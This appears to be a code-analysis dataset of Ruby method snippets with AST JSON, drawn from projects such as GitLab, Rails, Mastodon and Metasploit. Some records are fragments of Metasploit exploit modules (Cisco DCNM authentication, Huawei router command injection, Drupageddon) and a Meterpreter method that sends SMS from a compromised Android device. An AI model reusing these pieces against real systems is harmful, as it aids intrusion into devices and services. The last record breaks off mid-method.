{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/editor_extensions/language_server_client_verifier.rb","start_line":42,"raw_source":"def minimum_version\n          Gem::Version.new(Gitlab::CurrentSettings.minimum_language_server_version)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"minimum_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"minimum_language_server_version\"]}]}]}","id":"41d285f7-81bb-48be-85c5-37a06a8e0d40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/members_finder.rb","start_line":22,"raw_source":"def execute(include_relations: DEFAULT_RELATIONS)\n    members = find_members(include_relations)\n\n    filter_members(members)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_relations\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_RELATIONS\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"send\",\"children\":[null,\"find_members\",{\"type\":\"lvar\",\"children\":[\"include_relations\"]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_members\",{\"type\":\"lvar\",\"children\":[\"members\"]}]}]}]}","id":"660ad6a9-1ad3-4b42-b1b8-047c50cc6df1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/ordered_magic_comments.rb","start_line":55,"raw_source":"def autocorrect(corrector, encoding_line, frozen_string_literal_line)\n          range1 = processed_source.buffer.line_range(encoding_line + 1)\n          range2 = processed_source.buffer.line_range(frozen_string_literal_line + 1)\n\n          corrector.replace(range1, range2.source)\n          corrector.replace(range2, range1.source)\n        end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"encoding_line\"]},{\"type\":\"arg\",\"children\":[\"frozen_string_literal_line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]},\"line_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoding_line\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"range2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]},\"line_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frozen_string_literal_line\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range2\"]},\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range1\"]},\"source\"]}]}]}]}","id":"aa0604d8-846c-442f-8908-cb9652558e4e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/account_moderation_notes_controller.rb","start_line":23,"raw_source":"def destroy\n      authorize @account_moderation_note, :destroy?\n      @account_moderation_note.destroy!\n      redirect_to admin_account_path(@account_moderation_note.target_account_id), notice: I18n.t('admin.account_moderation_notes.destroyed_msg')\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@account_moderation_note\"]},{\"type\":\"sym\",\"children\":[\"destroy?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account_moderation_note\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_account_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account_moderation_note\"]},\"target_account_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.account_moderation_notes.destroyed_msg\"]}]}]}]}]}]}]}","id":"b981e1d5-8253-4561-8a0e-74393094ced6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_storage.rb","start_line":83,"raw_source":"def self.validate_storage_queue(userid, ext_management_system, options = {})\n    options[\"password\"] = ManageIQ::Password.encrypt(options[\"password\"])\n\n    task_opts = {\n      :action => \"validating PhysicalStorage for user #{userid}\",\n      :userid => userid\n    }\n    queue_opts = {\n      :class_name  => 'PhysicalStorage',\n      :method_name => 'validate_physical_storage',\n      :role        => 'ems_operations',\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :zone        => ext_management_system.my_zone,\n      :args        => [ext_management_system.id, options]\n    }\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate_storage_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"ext_management_system\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"encrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"validating PhysicalStorage for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"PhysicalStorage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"validate_physical_storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"4b56dfe5-71cc-4233-8f1c-8e9bdd80b5d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb","start_line":136,"raw_source":"def auth_v11\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'fm/'),\n      'method' => 'GET',\n      'vars_get' =>\n      {\n        'userName' => datastore['USERNAME'],\n        'password' => datastore['PASSWORD']\n      }\n    )\n\n    if res && res.code == 200\n      # get the JSESSIONID cookie\n      if res.get_cookies\n        res.get_cookies.split(';').each do |cok|\n          if cok.include?(\"JSESSIONID\")\n            return cok\n          end\n        end\n      end\n    end\n  end","complexity_score":26.33,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_v11\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"fm/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cok\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cok\"]},\"include?\",{\"type\":\"str\",\"children\":[\"JSESSIONID\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cok\"]}]},null]}]},null]},null]}]}]}","id":"36bfa959-41c5-4bcd-951a-b2819b49c968"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api_client.rb","start_line":168,"raw_source":"def download_file(request)\n      tempfile = nil\n      encoding = nil\n      request.on_headers do |response|\n        content_disposition = response.headers['Content-Disposition']\n        if content_disposition && content_disposition =~ /filename=/i\n          filename = content_disposition[/filename=['\"]?([^'\"\\s]+)['\"]?/, 1]\n          prefix = sanitize_filename(filename)\n        else\n          prefix = 'download-'\n        end\n        prefix = prefix + '-' unless prefix.end_with?('-')\n        encoding = response.body.encoding\n        tempfile = Tempfile.open(prefix, @config.temp_folder_path, encoding: encoding)\n        @tempfile = tempfile\n      end\n      request.on_body do |chunk|\n        chunk.force_encoding(encoding)\n        tempfile.write(chunk)\n      end\n      request.on_complete do |response|\n        if tempfile\n          tempfile.close\n          @config.logger.info \"Temp file written to #{tempfile.path}, please copy the file to a proper folder \"\\\n                              \"with e.g. `FileUtils.cp(tempfile.path, '/new/file/path')` otherwise the temp file \"\\\n                              \"will be deleted automatically with GC. It's also recommended to delete the temp file \"\\\n                              \"explicitly with `tempfile.delete`\"\n        end\n      end\n    end","complexity_score":44.4,"ast_json":"{\"type\":\"def\",\"children\":[\"download_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"encoding\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"on_headers\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content_disposition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_disposition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_disposition\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"filename=\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_disposition\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"filename=['\\\"]?([^'\\\"\\\\s]+)['\\\"]?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[null,\"sanitize_filename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"str\",\"children\":[\"download-\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"-\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"+\",{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"encoding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"temp_folder_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"lvar\",\"children\":[\"encoding\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@tempfile\",{\"type\":\"lvar\",\"children\":[\"tempfile\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"on_body\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"on_complete\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Temp file written to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\", please copy the file to a proper folder \"]}]},{\"type\":\"str\",\"children\":[\"with e.g. `FileUtils.cp(tempfile.path, '/new/file/path')` otherwise the temp file \"]},{\"type\":\"str\",\"children\":[\"will be deleted automatically with GC. It's also recommended to delete the temp file \"]},{\"type\":\"str\",\"children\":[\"explicitly with `tempfile.delete`\"]}]}]}]},null]}]}]}]}","id":"1870f1ff-9003-4a45-87a0-da3e0330afdc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/blank_test.rb","start_line":27,"raw_source":"def test_blank_with_bundled_string_encodings\n    Encoding.list.reject(&:dummy?).each do |encoding|\n      assert_predicate \" \".encode(encoding), :blank?\n      assert_not_predicate \"a\".encode(encoding), :blank?\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_blank_with_bundled_string_encodings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"list\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"dummy?\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoding\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},{\"type\":\"sym\",\"children\":[\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},{\"type\":\"sym\",\"children\":[\"blank?\"]}]}]}]}]}","id":"f99cdb1f-0fdd-4a7a-a7d7-d9bff5bb75be"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb","start_line":126,"raw_source":"def hash_password(password)\n    sha256 = OpenSSL::Digest::SHA256.hexdigest(password)\n    Base64.encode64(sha256).gsub(/\\s+/, \"\")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"lvar\",\"children\":[\"sha256\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"8d9c38f7-2b47-4984-b345-d8f6f8afe7ef"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/record_accessor.rb","start_line":92,"raw_source":"def self.parse_parameter(param)\n          if param.start_with?('$.')\n            parse_dot_notation(param)\n          elsif param.start_with?('$[')\n            parse_bracket_notation(param)\n          else\n            param\n          end\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_parameter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"$.\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_dot_notation\",{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"$[\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_bracket_notation\",{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"lvar\",\"children\":[\"param\"]}]}]}]}","id":"e8229e14-8bd6-41fa-ba15-9677996235b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload_set.rb","start_line":548,"raw_source":"def instance(name)\n    if (self._instances[name] == nil)\n      self._instances[name] = create(name)\n    end\n\n    self._instances[name]\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_instances\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_instances\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_instances\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"296e5e90-1260-4314-aab3-655a78be71c7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":278,"raw_source":"def send_sms(dest, body, dr)\n    request = Packet.create_request(COMMAND_ID_ANDROID_SEND_SMS)\n    request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)\n    request.add_tlv(TLV_TYPE_SMS_BODY, body)\n    request.add_tlv(TLV_TYPE_SMS_DR, dr)\n    if dr == false\n      response = client.send_request(request)\n      sr = response.get_tlv(TLV_TYPE_SMS_SR).value\n      return sr\n    else\n      response = client.send_request(request, 30)\n      sr = response.get_tlv(TLV_TYPE_SMS_SR).value\n      dr = response.get_tlv(TLV_TYPE_SMS_SR).value\n      return [sr, dr]\n    end\n  end","complexity_score":26.35,"ast_json":"{\"type\":\"def\",\"children\":[\"send_sms\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dest\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"arg\",\"children\":[\"dr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_ANDROID_SEND_SMS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_ADDRESS\"]},{\"type\":\"lvar\",\"children\":[\"dest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_BODY\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_DR\"]},{\"type\":\"lvar\",\"children\":[\"dr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dr\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_SR\"]}]},\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sr\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_SR\"]}]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_SMS_SR\"]}]},\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sr\"]},{\"type\":\"lvar\",\"children\":[\"dr\"]}]}]}]}]}]}]}","id":"8adff3cd-b646-4e4a-8d2e-a6adf5ef21ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/drupal_drupageddon.rb","start_line":184,"raw_source":"def iter\n    datastore['Iter']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"iter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Iter\"]}]}]}","id":"ddabef1a-06f1-4d37-b7ee-1cdbafc10cc4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/pod_lib_lint.rb","start_line":5,"raw_source":"def self.run(params)\n        command = []\n\n        command << \"bundle exec\" if params[:use_bundle_exec] && shell_out_should_use_bundle_exec?\n        command << \"pod lib lint\"\n\n        command << params[:podspec] if params[:podspec]\n        command << \"--verbose\" if params[:verbose]\n        command << \"--allow-warnings\" if params[:allow_warnings]\n        command << \"--sources='#{params[:sources].join(',')}'\" if params[:sources]\n        command << \"--subspec='#{params[:subspec]}'\" if params[:subspec]\n        command << \"--include-podspecs='#{params[:include_podspecs]}'\" if params[:include_podspecs]\n        command << \"--external-podspecs='#{params[:external_podspecs]}'\" if params[:external_podspecs]\n        command << \"--swift-version=#{params[:swift_version]}\" if params[:swift_version]\n        command << \"--use-libraries\" if params[:use_libraries]\n        command << \"--use-modular-headers\" if params[:use_modular_headers]\n        command << \"--fail-fast\" if params[:fail_fast]\n        command << \"--private\" if params[:private]\n        command << \"--quick\" if params[:quick]\n        command << \"--no-clean\" if params[:no_clean]\n        command << \"--no-subspecs\" if params[:no_subspecs]\n        command << \"--platforms=#{params[:platforms]}\" if params[:platforms]\n        command << \"--skip-import-validation\" if params[:skip_import_validation]\n        command << \"--skip-tests\" if params[:skip_tests]\n        command << \"--analyze\" if params[:analyze]\n\n        result = 